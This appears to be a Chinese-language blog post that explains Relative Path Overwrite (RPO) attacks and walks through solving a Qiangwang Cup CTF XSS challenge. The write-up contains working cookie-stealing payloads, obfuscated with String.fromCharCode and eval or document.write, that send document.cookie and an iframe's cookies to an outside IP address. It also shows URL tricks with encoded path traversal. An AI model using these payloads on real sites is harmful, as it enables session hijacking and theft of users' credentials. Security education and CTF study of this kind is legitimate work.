RPO相對(duì)路徑覆蓋攻擊

強(qiáng)網(wǎng)杯Show your mind學(xué)習(xí)到了一個(gè)新的知識(shí)點(diǎn),復(fù)現(xiàn)過程很有意思,總結(jié)一篇文章

0x1定義

RPO(Relative Path Overwrite)相對(duì)路徑覆蓋,是一種利用相對(duì)URL路徑覆蓋目標(biāo)文件的一種攻擊手段。

此攻擊方法依賴于瀏覽器和服務(wù)器的反應(yīng),基于服務(wù)器的Web緩存技術(shù)和配置差異,以及服務(wù)器和客戶端瀏覽器的解析差異,利用前端代碼中加載的css/js的相對(duì)路徑來(lái)加載其他文件,最終瀏覽器將服務(wù)器返回的不是css/js的文件當(dāng)做css/js來(lái)解析,從而導(dǎo)致XSS,信息泄露等漏洞產(chǎn)生。

0x2 問題原因:

在Nginx中,編碼后的url服務(wù)器可以正常識(shí)別,也就是說(shuō)服務(wù)器在加載文件時(shí)會(huì)解碼后找到具體文件返回返回客戶端。但是在客戶端識(shí)別url時(shí)是不會(huì)解碼的,如果某些靜態(tài)資源文件使用相對(duì)路徑,就很容易遭受RPO相對(duì)路徑覆蓋攻擊.

我們現(xiàn)在本地測(cè)試一下demo:

加入我們?cè)?test/a.html中的內(nèi)容為:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Document</title>
    <script src="b.js">
    </script>
</head>
<body>
    
</body>
</html>

客戶端加載的靜態(tài)資源是/test目錄下的b.js文件,內(nèi)容為:

document.write('<p>Hello,World</p>');

如果我們控制test下面aaa的目錄下面的b.js的內(nèi)容,寫入/test/aaa/b.js內(nèi)容如下

alert(1)

我們?nèi)绻L問鏈接:http://localhost/test/aaa/..%2fa.html, 彈窗,成功加載/test/aaa/b.js中的內(nèi)容

image.png

這就是相對(duì)路徑覆蓋攻擊, 我們成功覆蓋掉了a.html中靜態(tài)資源b.js的路徑.

0x3. 漏洞利用的情景

0x3.1 加載任意目錄下靜態(tài)資源文件

如上demo演示,我們可以加載任意目錄下的b.js去覆蓋a.html中靜態(tài)資源b.js的路徑

0x3.2 將任意文件內(nèi)容按靜態(tài)文件解析

在很多使用了url_rewrite的php開發(fā)框架以及python web框架中,經(jīng)常使用相對(duì)路徑來(lái)加載靜態(tài)資源文件,而且url都有一個(gè)特征:

index.php/home/controller/action/key1/value1/key2/value2...

比如一篇文章的鏈接為 index.php/view/article/41801/ view是index.php中的方法,article和41801分別是傳入的參數(shù)名和參數(shù)值.

如果我們?cè)谄浜蠹由?code>..2f..%2f/這樣路徑會(huì)如何, 服務(wù)端正常解碼后返回/index.php/view頁(yè)面的內(nèi)容,但客戶端不會(huì)解碼, 所有采用相對(duì)路徑的靜態(tài)資源文件的父路徑變成了index.php/view/article/41801/, 而在這個(gè)鏈接后面加上的路徑都會(huì)被當(dāng)做參數(shù)來(lái)解析,最后返回的還是index.php/view/article/41801/文章的內(nèi)容

這樣我們就完成了將任意文件內(nèi)容按靜態(tài)文件來(lái)解析的漏洞利用了.

一道RPO攻擊的CTF題目解析

強(qiáng)網(wǎng)杯上的一道show your mind的xss題目

登陸進(jìn)去后可以利用的地方有add和reports頁(yè)面,通過/templates/add.html 可以查看到輸出點(diǎn)都用了htmlspecialchars轉(zhuǎn)義,沒法正常插入html代碼,reports頁(yè)面也只能提交自己網(wǎng)站上的鏈接,發(fā)現(xiàn)網(wǎng)站用了pathinfo模式,而且網(wǎng)站靜態(tài)js文件采用相對(duì)路徑來(lái)訪問, 很符合RPO攻擊的條件,我們來(lái)測(cè)試一下

首先我們寫入一篇文章:

標(biāo)題為空,內(nèi)容為: alert(1)

生成一個(gè)文章路徑:http://39.107.33.96:20000/index.php/view/article/41801

我們?cè)谶@個(gè)文章路徑后面加上/..%2f..%2f..%2f, 然后在訪問

image.png

成功彈窗,這是為什么呢?

因?yàn)楦窂?/index.php 中有一個(gè)靜態(tài)文件是用相對(duì)路徑表示的:

<script src="static/js/jquery.min.js"></script>
<script src="/static/js/bootstrap.min.js"></script>

當(dāng)我們?cè)L問http://39.107.33.96:20000/index.php/view/article/41801/..%2f..%2f..%2f鏈接的時(shí)候,服務(wù)端會(huì)正常解碼, 跳轉(zhuǎn)3個(gè)目錄到index.php ,返回給我們對(duì)應(yīng)的內(nèi)容

問題來(lái)了, 客戶端里的靜態(tài)文件(css/js)如果是使用相對(duì)路徑來(lái)表示的話, 如上,客戶端并不會(huì)解碼%2f, 而是將..%2f..%2f..%2f 當(dāng)成一個(gè)文件來(lái)看待了, 那么上面那個(gè)js的相對(duì)路徑就是http://39.107.33.96:20000/index.php/view/article/41801/

如果在`..%2f..%2f..%2f..%2f后加一個(gè)/,那么客戶端就會(huì)當(dāng)做一個(gè)目錄,js的相對(duì)路徑就不是/41801了

客戶端尋找js的路徑為:http://39.107.33.96:20000/index.php/view/article/41801/static/js/jquery.min.js

然而在pathinfo的模式下,static/js/jquery.min.js 會(huì)被當(dāng)做參數(shù),最后返回的還是該文章的頁(yè)面,
即alert(1)的內(nèi)容,這樣相當(dāng)于index.php中的js文件執(zhí)行為:

<script src="http://39.107.33.96:20000/index.php/view/article/41801"></script>
<script src="http://39.107.33.96:20000/static/js/bootstrap.min.js"></script>

當(dāng)然,在index.php/view中也存在相對(duì)路徑,只不多是../static/js/jquery.min.js了, 同樣是可以構(gòu)造的: `http://39.107.33.96:20000/index.php/view/article/41801/..%2f..%2f/``

這樣服務(wù)端返回/index.php/view的內(nèi)容, 客戶端的靜態(tài)文件加載的相對(duì)路徑變成了http://39.107.33.96:20000/index.php/view/article/41801/..%2f..%2f/..static/js/jquery.min.js

驗(yàn)證完確實(shí)存在xss攻擊點(diǎn),
于是我們寫一篇文章,

js代碼為:

(new Image()).src="http://123.206.65.167:2000/?a="+escape(document.cookie);

因?yàn)閔tmlspecialchars函數(shù)轉(zhuǎn)義引號(hào),因此我們可以利用編碼繞過, 寫入內(nèi)容如下:

eval(String.fromCharCode(40, 110, 101, 119, 32, 73, 109, 97, 103, 101, 40, 41, 41, 46, 115, 114, 99, 61, 34, 104, 116, 116, 112, 58, 47, 47, 49, 50, 51, 46, 50, 48, 54, 46, 54, 53, 46, 49, 54, 55, 58, 50, 48, 48, 48, 47, 63, 97, 61, 34, 43, 101, 115, 99, 97, 112, 101, 40, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101, 41, 59))

將鏈接http://39.107.33.96:20000/index.php/view/article/708/..%2f..%2f/ 通過report頁(yè)面發(fā)給管理員訪問,拿到cookie:

image.png

在cookie中獲取到HINT為: HINT=Try to get the cookie of path "/QWB_fl4g/QWB/"
這里可以利用iframe指向該網(wǎng)頁(yè),因?yàn)榇翱谕次覀兛梢垣@取到子窗口的dom,因此寫入內(nèi)容如下:

<iframe src="/QWB_fl4g/QWB/" id="sir"></iframe><img src=0 onerror="this.src='http://123.206.65.167:2000/?a='+document.getElementById('sir').contentWindow.document.cookie">

編碼為:

document.write(String.fromCharCode(60, 105, 102, 114, 97, 109, 101, 32, 115, 114, 99, 61, 34, 47, 81, 87, 66, 95, 102, 108, 52, 103, 47, 81, 87, 66, 47, 34, 32, 105, 100, 61, 34, 115, 105, 114, 34, 62, 60, 47, 105, 102, 114, 97, 109, 101, 62, 60, 105, 109, 103, 32, 115, 114, 99, 61, 48, 32, 111, 110, 101, 114, 114, 111, 114, 61, 34, 116, 104, 105, 115, 46, 115, 114, 99, 61, 39, 104, 116, 116, 112, 58, 47, 47, 49, 50, 51, 46, 50, 48, 54, 46, 54, 53, 46, 49, 54, 55, 58, 50, 48, 48, 48, 47, 63, 97, 61, 39, 43, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 66, 121, 73, 100, 40, 39, 115, 105, 114, 39, 41, 46, 99, 111, 110, 116, 101, 110, 116, 87, 105, 110, 100, 111, 119, 46, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101, 34, 62))

注意上一個(gè)payload是js,所以可以直接用eval函數(shù)執(zhí)行, 這個(gè)payload是html代碼, 故用document.write函數(shù)寫入到html dom中

發(fā)送給管理員鏈接,獲取到該網(wǎng)頁(yè)下的cookie:

image.png

內(nèi)容為: flag=QWB{flag_is_f43kth4rpo}; HINT=Try to get the cookie of path "/QWB_fl4g/QWB/"

參考:

http://blog.nsfocus.net/rpo-attack/

http://www.beesfun.com/2017/03/27/RPO%E6%94%BB%E5%87%BB/

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容